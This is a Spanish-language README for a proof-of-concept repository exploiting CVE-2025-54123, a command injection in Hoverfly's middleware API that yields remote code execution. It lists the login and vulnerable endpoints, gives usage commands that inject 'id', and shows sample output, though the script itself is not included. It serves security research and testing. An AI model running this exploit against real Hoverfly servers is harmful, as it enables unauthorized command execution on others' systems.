CVE-2025-54123 Inyección de Comandos en Hoverfly a RCE PoC

Resumen

Este repositorio contiene un script de prueba de concepto (PoC) en Python para interactuar con instancias de Hoverfly afectadas por CVE-2025-54123.

El script soporta:

• Autenticación usando credenciales de nombre de usuario/contraseña
• Autenticación usando un token bearer existente
• Interacción con el endpoint de la API de middleware de Hoverfly
• Visualización de la respuesta de la API

Advertencia

Este proyecto está destinado únicamente a fines autorizados de investigación de seguridad, pruebas y educativos. No lo utilices contra sistemas sin permiso explícito.

Requisitos

• Python 3.8+
• requests

Instalar dependencias:

pip install requests

Uso

Autenticar con Credenciales

python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  -u admin \
  -p password \
  --cmd "id"

Autenticar con un Token Existente

python CVE-2025-54123.py \
  --target example.com \
  --port 8888 \
  --token <ACCESS_TOKEN> \
  --cmd "id"

Argumentos

Flujo de Autenticación

Cuando se proporcionan credenciales:

1. Se envía una solicitud POST a:

/api/token-auth

2. Se extrae el token devuelto.
3. El token se utiliza para autenticar solicitudes posteriores.

Endpoint de la API

El script se comunica con:

/api/v2/hoverfly/middleware

usando una solicitud PUT autenticada.

Ejemplo de Salida

Approaching target : example.com
Attempting login to http://example.com:8888/api/token-auth
Checking Credentials....
Login Successful!
Injected : id
uid=1000(user) gid=1000(user)

Estructura del Proyecto

.
├── CVE-2025-54123.py
└── README.md

Descargo de Responsabilidad

Este repositorio se proporciona únicamente con fines educativos, de seguridad defensiva y de pruebas autorizadas. El autor no asume ninguna responsabilidad por el mal uso, daños o consecuencias legales derivados del uso de este software.